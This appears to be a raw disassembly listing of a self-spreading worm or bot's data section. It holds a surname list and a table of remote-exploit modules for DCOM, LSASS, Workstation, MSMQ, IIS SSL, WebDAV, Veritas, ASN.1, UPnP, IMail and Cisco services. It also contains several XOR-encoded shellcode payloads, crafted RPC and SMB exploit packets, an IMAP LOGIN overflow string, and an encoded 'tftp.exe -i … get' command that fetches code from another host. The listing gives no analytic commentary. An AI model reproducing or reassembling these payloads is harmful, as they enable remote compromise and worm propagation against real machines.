dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset byte_430020
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
align 8
dword_43D758 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40AD00+BEo
db 66h, 0B9h
word_43D766 dw 0FFFFh ; DATA XREF: sub_40AD00+C6w
db 80h, 73h, 0Eh
byte_43D76B db 0FFh ; DATA XREF: sub_40AD00+CDw
dd 0F9E243h
dword_43D770 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40AD00+9Co
db 0B1h
byte_43D77D db 0FFh ; DATA XREF: sub_40AD00+A4w
dw 7380h
db 0Ch
byte_43D781 db 0FFh ; DATA XREF: sub_40AD00+AAw
dw 0E243h
dd 0F9h
dword_43D788 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_40AC0D+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43D7EC dd 12h ; DATA XREF: sub_40AC0D+3Bw
dd 70746674h, 6578652Eh, 20692D20h
aGet db ' get ',0 ; DATA XREF: sub_40AC0D+7Co
; sub_40AC0D+9Eo
aJ_1 db 'j',0
db 0E8h
dword_43D805 dd 17h ; DATA XREF: sub_40AC0D+4Dw
db 75h, 1, 0C3h
db 0E8h
dword_43D80D dd 1 ; DATA XREF: sub_40AC0D+43w
byte_43D811 db 0, 6Ah, 0 ; DATA XREF: sub_40AC0D+C0o
dd 7E8h
db 0, 0Fh, 84h
dword_43D81B dd 0FFFFFFEDh ; DATA XREF: sub_40AC0D+5Dw
db 0C3h
dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h
dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
dd 0C3h, 0
; char aNetbios_0[]
aNetbios_0 db 'netbios',0 ; DATA XREF: sub_40BCF3+151o
; sub_40C15B+51o
db 2 dup(0)
aNetbios db 'NetBios',0 ; DATA XREF: sub_40B553+30o
; .text:0040C6D0o ...
align 4
dd 5 dup(0)
dword_43D878 dd 8Bh ; DATA XREF: sub_40274D+1BB0r
; sub_40274D+1BD9o ...
off_43D87C dd offset sub_4100AE ; DATA XREF: sub_40BCF3+1CDr
dword_43D880 dd 0 ; DATA XREF: sub_40B3C5+2Eo
; .text:0040C71Br ...
dword_43D884 dd 0 ; DATA XREF: sub_40B690+1Er
dword_43D888 dd 0 ; DATA XREF: sub_40B690+3AAr
dword_43D88C dd 0 ; DATA XREF: sub_40B690+285r
aNtpass db 'ntpass',0
align 4
dd 544E0000h, 73736150h, 6 dup(0)
dd 1BDh, 4100AEh, 4 dup(0)
aDcom135 db 'dcom135',0
dd 43440000h, 31204D4Fh, 3533h, 5 dup(0)
dd 87h, 40CC47h, 0
dd 1, 2 dup(0)
aDcom445 db 'dcom445',0
dd 43440000h, 34204D4Fh, 3534h, 5 dup(0)
dd 1BDh, 40CC47h, 0
dd 1, 2 dup(0)
aDcom1025 db 'dcom1025',0
align 2
aDcom1025_0 db 'DCOM 1025',0
dd 5 dup(0)
dd 401h, 40CC47h, 0
dd 1, 2 dup(0)
aLsass db 'lsass',0
align 4
dd 4F480000h, 534C2044h, 535341h, 5 dup(0)
dd 1BDh, 40DC47h, 0
dd 1, 2 dup(0)
aLsasscb db 'lsasscb',0
dd 4F480000h, 534C2044h, 2D535341h, 4243h, 4 dup(0)
dd 1BDh, 40E220h, 0
dd 1, 0
dd 1, 7361736Ch, 35333173h, 4C500000h, 53534153h, 35333120h
dd 5 dup(0)
dd 87h, 4102B1h, 0
dd 1, 2 dup(0)
aLsass445 db 'lsass445',0
align 2
aPlsass445 db 'PLSASS 445',0
align 4
dd 4 dup(0)
dd 1BDh, 4102B1h, 0
dd 1, 2 dup(0)
aLsass1025 db 'lsass1025',0
aPlsass1025 db 'PLSASS 1025',0
align 4
dd 4 dup(0)
dd 401h, 4102B1h, 0
dd 1, 2 dup(0)
aWks_eng db 'wks_eng',0
dd 6B570000h, 63765373h, 676E4520h, 6873696Ch, 4 dup(0)
dd 1BDh, 4113B7h, 0
dd 1, 2 dup(0)
aWks_oth db 'wks_oth',0
dd 6B570000h, 63765373h, 68744F20h, 7265h, 4 dup(0)
dd 1BDh, 41143Fh, 0
dd 1, 2 dup(0)
aMsgsvc db 'msgsvc',0
align 4
dd 654D0000h, 6E657373h, 726567h, 5 dup(0)
dd 87h, 40E596h, 0
dd 1, 2 dup(0)
aMsmq2103 db 'msmq2103',0
align 2
aMsmq2103_0 db 'MSMQ 2103',0
dd 5 dup(0)
dd 837h, 40FB58h, 0
dd 1, 2 dup(0)
aMsmq2105 db 'msmq2105',0
align 2
aMsmq2105_0 db 'MSMQ 2105',0
dd 5 dup(0)
dd 839h, 40FB58h, 0
dd 1, 2 dup(0)
aMsmq2107 db 'msmq2107',0
align 2
aMsmq2107_0 db 'MSMQ 2107',0
dd 5 dup(0)
dd 83Bh, 40FB58h, 0
dd 1, 2 dup(0)
aIis5ssl db 'iis5ssl',0
dd 49490000h, 53533553h, 4Ch, 5 dup(0)
dd 1BBh, 40CF1Eh, 0
dd 1, 0
dd 1, 64626577h, 7661h, 65570000h, 56414462h, 6 dup(0)
dd 50h, 410DA7h, 0
dd 1, 2 dup(0)
aVeritas db 'veritas',0
dd 65560000h, 61746972h, 61422073h, 70756B63h, 65784520h
dd 63h, 2 dup(0)
dd 17D5h, 410BAEh, 0
dd 1, 2 dup(0)
aAsn1http db 'asn1http',0
align 2
aAsn_1Http db 'ASN.1-HTTP',0
align 4
dd 4 dup(0)
dd 50h, 40F6D1h, 0
dd 1, 2 dup(0)
aAsn1smb db 'asn1smb',0
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40F6D1h, 0
dd 1, 2 dup(0)
aAsn1smbnt db 'asn1smbnt',0
aAsn_1SmbNt db 'ASN.1-SMB NT',0
align 4
dd 4 dup(0)
dd 8Bh, 40F6D1h, 0
dd 1, 2 dup(0)
aUmpnp db 'umpnp',0
align 4
dd 4D550000h, 506E50h, 6 dup(0)
dd 1BDh, 4106C6h, 0
dd 1, 2 dup(0)
aImail_0 db 'imail',0
align 4
dd 4D490000h, 6C6961h, 6 dup(0)
dd 8Fh, 40D12Ch, 0
dd 1, 2 dup(0)
aMersin db 'mersin',0
align 4
dd 4E560000h, 6F6F5243h, 726574h, 5 dup(0)
dd 170Ch, 41DDECh, 0
dd 1, 2 dup(0)
aCisco23 db 'cisco23',0
dd 69430000h, 206F6373h, 6E6C6554h, 7465h, 4 dup(0)
dd 17h, 40C5C6h, 4 dup(0)
aCisco80 db 'cisco80',0
dd 69430000h, 206F6373h, 50545448h, 5 dup(0)
dd 50h, 40C731h, 14h dup(0)
aLsass445_0 db 'lsass445',0
align 2
byte_43DF5A db 1 ; DATA XREF: sub_40274D:loc_404279r
; sub_40274D+1B36o
aMsmq2103_1 db 'msmq2103',0
dd 73610100h, 6D73316Eh, 62h, 1, 3 dup(0)
dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah
dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h
dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h
dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
dd 99h
dword_43E100 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: .text:0040CD25o
; .text:0040CE62o
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_43E150 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40CA2C+EBo
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_43E4B4 dd 20h, 0 ; DATA XREF: sub_40CA2C+FEo
dd 20h, 5C005Ch, 0
off_43E4C8 dd offset aWolk+4 ; DATA XREF: sub_40CA2C+12Co
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
align 8
dword_43E508 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40CA2C+143o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_40CA2C+18o
; sub_40CA2C+59o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrr_0 db ''
db ''
db '',0
dword_43E618 dd 10016C6h ; DATA XREF: sub_40CA2C+CCo
dword_43E61C dd 100139Dh ; DATA XREF: sub_40CA2C+C3o
dword_43E620 dd 0E983C931h, 0D9EED9B0h, 5BF42474h, 2B137381h, 8313778Dh
; DATA XREF: sub_40CA2C+3Co
dd 0F4E2FCEBh, 5E9CE7D7h, 0EC8874C3h, 7FFCEDD4h, 56FCA90Fh
dd 160B0617h, 98988C53h, 4CFC9564h, 5A9C8C0Bh, 12FCB9A0h
dd 8AB7BCC5h, 67B70987h, 1EBD4C2Ch, 0E79C4F2Ah, 3B53D910h
dd 4CFC685Eh, 759C8C0Fh, 983C81A0h, 0F8769174h, 9AFCA128h
dd 726BA947h, 77ACBCE8h, 9847CEA0h, 63FC816Bh, 53FC2037h
dd 9D1FD323h, 439B8365h, 40115BD4h, 2144E54Dh, 2104FA43h
dd 0C388D974h, 0EF9A4643h, 0C588DD10h, 75920474h, 117F60AAh
dd 0EC75E77Eh, 1AAEE5FBh, 0EC2020DEh, 4024DEFDh, 4034DE78h
dd 0C388DE68h, 0D470E54Dh, 0F2FEDE4Dh, 9D3E5BEh, 0EC204A5Bh
dd 4267E7FDh, 7BA7727Eh, 0FA59208Fh, 40A1727Ch, 7BA7727Eh
dd 5AF1C4CEh, 43A1727Ch, 0EC22D97Fh, 0F41F1EFBh, 440E4B52h
dd 0EC225BD4h, 771DEBFBh, 7E14E54Dh, 431D68A2h, 9ABBA472h
dd 9A33E7CCh, 0E0B7BCC9h, 3E357381h, 805BCFD5h, 0B84FF7A6h
dd 611F2680h, 0EC613ED5h, 0C588C95Eh, 4225DA70h, 121DDC7Ah
dd 4222DC7Ah, 0BE1F5DD4h, 40B988F2h, 0EC1D5BD4h, 0C388BAD4h
dd 908BDAA0h, 0C588E9EFh, 7BA77279h, 4C7307DBh, 0ECA17278h
dd 13778DFBh, 2 dup(0)
dword_43E780 dd 2016280h, 100BDh, 8F160001h, 182h, 2 dup(0) ; DATA XREF: .text:0040CF45o
byte_43E798 db 0EBh, 25h ; DATA XREF: .text:0040CFCEo
word_43E79A dw 0FAE9h ; DATA XREF: .text:0040CFB4o
dword_43E79C dd 0F677D399h, 596C0602h, 1DF8596Ch, 0D18CDE9Ch, 3D4704Ch
; DATA XREF: .text:0040CFC4o
dd 53574658h, 32335F32h, 4C4C442Eh, 0E805EB01h, 0FFFFFFF9h
dd 2CED835Dh, 6459306Ah, 408B018Bh, 1C708B0Ch, 8788BADh
dd 8B3C5F8Dh, 8BFB011Bh, 0FB01785Bh, 11C4B8Bh, 24538BF9h
dd 5153FA01h, 205B8B52h, 0C931FB01h, 99C03141h, 18B348Bh
dd 0C231ACFEh, 0C084E2D1h, 0B60FF775h, 448D0945h, 39660845h
dd 66E17510h, 585A1031h, 5250565Eh, 41104E2Bh, 4A0CB70Fh
dd 188048Bh, 4DB60FF8h, 8D448909h, 94DFED8h, 4DFEBE75h
dd 0FE177408h, 5D8D244Dh, 0D0FF531Ah, 26AC789h, 9458858h
dd 0C794580h, 8B5082EBh, 93350445h, 89939393h, 8B660445h
dd 35660245h, 89669393h, 89580245h, 53DB31CEh, 56535353h
dd 0D0FF5646h, 5855C789h, 6A308966h, 0FF575510h, 458DE055h
dd 55FF5088h, 0FF5555E8h, 448DEC55h, 53940C05h, 78652E68h
dd 635C6865h, 3194646Dh, 0CC458DD2h, 57575794h, 0CAFE5353h
dd 9452F201h, 5078458Dh, 5088458Dh, 535308B1h, 0CEFE106Ah
dd 53535352h, 0F055FF55h, 55FFFF6Ah, 0E4h
aA01Login db 'a01 LOGIN "&',0 ; DATA XREF: .text:0040D243o
align 4
dword_43E8E8 dd 0E983C92Bh, 0FFFFE8B8h, 5EC0FFFFh, 0E00E7681h, 837C1F1Ah
; DATA XREF: .text:0040D253o
dd 0F4E2FCEEh, 31F4701Ch, 83E0E308h, 10947A1Fh, 39943EC4h
dd 796391DCh, 0F7F01B98h, 239402AFh, 35F41BC0h, 7D942E6Bh
dd 0E5DF2B0Eh, 8DF9E4Ch, 71D5DBE7h, 88F4D8E1h, 543B4EDBh
dd 2394FF95h, 1AF41BC4h, 0F754166Bh, 971E06BFh, 0F59436E3h
dd 1D033E8Ch, 18C42B23h, 0F72F596Bh, 0C9416A0h, 3C94B7FCh
dd 0F27744E8h, 2CF314AEh, 2F79CC1Fh, 4E2C7286h, 4E6C6D88h
dd 0ACE04EBFh, 80F2D188h, 0AAE04ADBh, 1AFA93BFh, 7E17F761h
dd 831D70B5h, 75C67230h, 8348B715h, 2F4C4936h, 3F4C59B3h
dd 14CFE5B3h
dword_43E9A0 dd 7D1F1A9Fh ; DATA XREF: .text:0040D210o
db 86h, 72h
word_43E9A6 dw 0AE1Bh ; DATA XREF: .text:0040D222o
dd 9D964986h, 85F37275h, 83487A4Ah, 2D0F7036h, 1ACFE5B5h
dd 14797E8Ah, 2C757783h, 0F5D333B9h, 0F55B7007h, 8FDF2B02h
dd 81968F4Ah, 8232581Eh, 69236A2h, 0D7B4B1D8h, 0CFE16888h
dd 546AE5F6h, 2B44CC1Fh, 2D4E4BB2h, 2D4E1B8Ah, 0ACE04BB5h
dd 79C6B788h, 0AAE0492Eh, 4BE0E58Ah, 9B77CA1Fh, 8366DC99h
dd 0AAE01E95h, 83E36D1Fh, 0F6EF7230h, 834C45E4h, 7CCFE536h
dd 0
dword_43EA24 dd 4EBh ; DATA XREF: .text:0040D2EDo
; .text:0040D31Fo ...
dword_43EA28 dd 100102EBh, 0 ; DATA XREF: .text:0040D2FEo
dword_43EA30 dd 100103BBh, 0 ; DATA XREF: .text:0040D330o
dword_43EA38 dd 100108CBh, 0 ; DATA XREF: .text:0040D36Bo
dword_43EA40 dd 100102D9h, 0 ; DATA XREF: .text:0040D3A6o
dword_43EA48 dd 1001031Bh, 0 ; DATA XREF: .text:0040D3D3o
dword_43EA50 dd 10010269h, 0 ; DATA XREF: .text:0040D411o
dword_43EA58 dd 10010296h, 0 ; DATA XREF: .text:0040D43Eo
dword_43EA60 dd 100102E2h, 0 ; DATA XREF: .text:0040D46Bo
dword_43EA68 dd 100102E2h, 0 ; DATA XREF: .text:0040D498o
dword_43EA70 dd 100102E2h, 0 ; DATA XREF: .text:0040D4C5o
dword_43EA78 dd 100102E2h, 0 ; DATA XREF: .text:0040D4F2o
dword_43EA80 dd 10010302h, 0 ; DATA XREF: .text:0040D51Fo
dword_43EA88 dd 100249D4h, 0 ; DATA XREF: .text:0040D54Co
dword_43EA90 dd 1001D9BBh, 0 ; DATA XREF: .text:0040D579o
dword_43EA98 dd 100218E6h, 0 ; DATA XREF: .text:0040D5A6o
dword_43EAA0 dd 10021782h, 0 ; DATA XREF: .text:0040D5D3o
dword_43EAA8 dd 10021A51h, 0 ; DATA XREF: .text:0040D5FDo
dword_43EAB0 dd 10021A51h, 0 ; DATA XREF: .text:0040D62Bo
dword_43EAB8 dd 10021A62h, 0 ; DATA XREF: .text:0040D781o
dword_43EAC0 dd 335B0FEBh, 0E98366C9h, 553380E0h, 0EBFAE243h, 0FFECE805h
; DATA XREF: .text:0040D264o
dd 0BB8CFFFFh, 0A171218Ch, 5F94D50Ch, 0AB98ABC5h, 15BCD598h
dd 0B4AAh
aWe0wn db '" "We0wn"',0Dh,0Ah,0 ; DATA XREF: .text:0040D278o
; char aI_2[]
aI_2 db 'ë' ; DATA XREF: sub_40DDD9+181o
; sub_40DDD9+23Eo
db 10h, 5Bh, 4Bh
dd 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh, 70FFFFFFh
dd 99999962h, 0A938FDC6h, 12999999h, 0E91295D9h, 0F1123485h
dd 0F36E1291h, 271C09Dh, 7B999999h, 0ABAAF160h, 0EEF19999h
dd 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh, 7518607Bh
dd 99999809h, 9898F1CDh, 0CF669999h, 0C9C9C989h, 0D9C9D9C9h
dd 8DCF66C9h
db 12h, 41h, 0F1h
byte_43EB67 db 0E6h ; DATA XREF: sub_40DDD9+130o
dd 0F1989999h
db 9Bh, 99h
word_43EB6E dw 4B9Dh ; DATA XREF: sub_40DDD9+120o
dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh
dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h
dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh
dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh, 0A86666F3h
dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh
dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h
dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h
dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h
dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h
dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0
; char aI_1[]
aI_1 db 'ë' ; DATA XREF: sub_40D7FE+159o
; sub_40D7FE+216o
db 10h, 5Ah, 4Ah
dd 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh, 70FFFFFFh
dd 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h, 0D9123485h
dd 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h, 8DD71262h
dd 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h, 0C6C091EDh
dd 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh, 589A7848h
dd 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh, 125A9A99h
dd 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh, 0CB945F1Ah
dd 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h
dd 669BF398h, 411275CEh, 999B9E5Eh
dword_43ECE8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40D7FE+108o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_43EDD0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: .text:0040DCBDo
; .text:0040E296o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002 db 'LM1.2X002',0
dw 4C02h
aAnman2_1 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12 db ' LM 0.12',0
align 10h
dword_43EE60 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:0040DCE9o
; .text:0040E2C2o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_43EF10 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:0040DD10o
; .text:0040E2E9o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
